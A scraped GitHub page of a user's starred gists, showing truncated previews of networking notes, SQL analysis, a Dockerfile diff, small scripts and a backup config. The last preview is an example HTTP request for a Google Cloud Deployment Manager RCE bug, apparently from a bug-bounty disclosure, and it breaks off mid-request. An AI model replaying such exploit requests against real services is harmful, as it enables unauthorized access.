Skip to content

Instantly share code, notes, and snippets.

View patryk's full-sized avatar
🍊

Patryk Szczygłowski patryk

🍊
View GitHub Profile
@kconner
kconner / macOS Internals.md
Last active May 25, 2024 19:26
macOS Internals

macOS Internals

Understand your Mac and iPhone more deeply by tracing the evolution of Mac OS X from prelease to Swift. John Siracusa delivers the details.

Starting Points

How to use this gist

You've got two main options:

@nitred
nitred / optimal_mtu.md
Last active May 24, 2024 12:33
Wireguard Optimal MTU

About

  • I faced bandwidth issues between a WG Peer and a WG server. Download bandwidth when downloading from WG Server to WG peer was reduced significantly and upload bandwidth was practically non existent.
  • I found a few reddit posts that said that we need to choose the right MTU. So I wrote a script to find an optimal MTU.
  • Ideally I would have liked to have run all possible MTU configurations for both WG Server and WG Peer but for simplicity I choose to fix the WG Server to the original 1420 MTU and tried all MTUs from 1280 to 1500 for the WG Peer.

Testing

  • On WG server, I started an iperf3 server
  • On WG peer, I wrote a script that does the following:
    • wg-quick down wg0
  • Edit MTU in the /etc/wireguard/wg0.conf file
@robstradling
robstradling / apple_insufficient_scts.txt
Last active May 6, 2021 14:36
Rough analysis of CAs embedding too few SCTs to comply with the 2021-04-21 update to the Apple CT Policy
-- Step 1: Find the lowest/earliest certificate ID affected by the updated Apple CT Policy.
-- (Assumptions: (i) Certificate notBefore dates are never forward-dated and (ii) Log entry timestamps are always accurate).
certwatch@certwatch=> SELECT min(c.ID)
FROM certificate c
WHERE x509_notBefore(c.CERTIFICATE) >= '2021-04-21'::timestamp
AND c.ID IN (
SELECT ctle.CERTIFICATE_ID
FROM ct_log_entry_2021 ctle
WHERE ctle.ENTRY_TIMESTAMP >= '2021-04-21'::timestamp
diff --git a/Dockerfile b/Dockerfile
index 5e32433..f746306 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -24,8 +24,17 @@ PLEX_MEDIA_SERVER_INFO_DEVICE="Docker Container (LinuxServer.io)"
RUN \
echo "**** install runtime packages ****" && \
apt-get update && \
+ apt-get install -y software-properties-common && \
+ add-apt-repository ppa:oibaf/graphics-drivers -y && \
async function supportsImgType(type) {
// Create
//
// <picture>
// <source srcset="data:,x" type="{type}" />
// <img />
// </picture>
//
// (where "data:,x" is just a minimal URL that is valid but doesn't trigger network)
let img = document.createElement('img');
@troyhunt
troyhunt / rick-roll-content-scraper.js
Created August 19, 2020 07:41
A Cloudflare worker to redirect image requests from dickhead content scraper's site to a Rick Roll
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request))
})
async function fetchAndApply(request) {
let response = await fetch(request)
let referer = request.headers.get('Referer')
let contentType = response.headers.get('Content-Type') || ''
if (referer && contentType.startsWith('image/')) {
BACKUP_PATHS="/etc /home /root /var/lib/mysql"
BACKUP_EXCLUDES="--exclude-file /home/rupert/.restic_excludes --exclude-if-present .exclude_from_backup --exclude-caches"
RETENTION_DAYS=7
RETENTION_WEEKS=4
RETENTION_MONTHS=6
RETENTION_YEARS=3
B2_ACCOUNT_ID=xxx
B2_ACCOUNT_KEY=yyy
RESTIC_REPOSITORY=b2:patryk-restic-backups:/restic/backup/felucia
RESTIC_PASSWORD=zzz
@katef
katef / life-utf8.c
Last active May 5, 2024 21:56
XBM to UTF-8 braille image things
/*
* John Conway's Game of Life.
*
* This is written for POSIX, using Curses. Resizing of the terminal is not
* supported.
*
* By convention in this program, x is the horizontal coordinate and y is
* vertical. There correspond to the width and height respectively.
* The current generation number is illustrated when show_generation is set.
*
@ezequielpereira
ezequielpereira / example.txt
Created May 22, 2020 11:02
Example request for Cloud Deployment Manager RCE bug
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1
{
"name": "hack",
"descriptorUrl": "https://<GSLB target's path to a descriptor document>",
"googleOptions": {
"gslbTarget": <GSLB target name>,
"descriptorUrlServerSpec": <GSLB target name>,
"ownershipKind": "GOOGLE",
"credentialType": "GAIAMINT",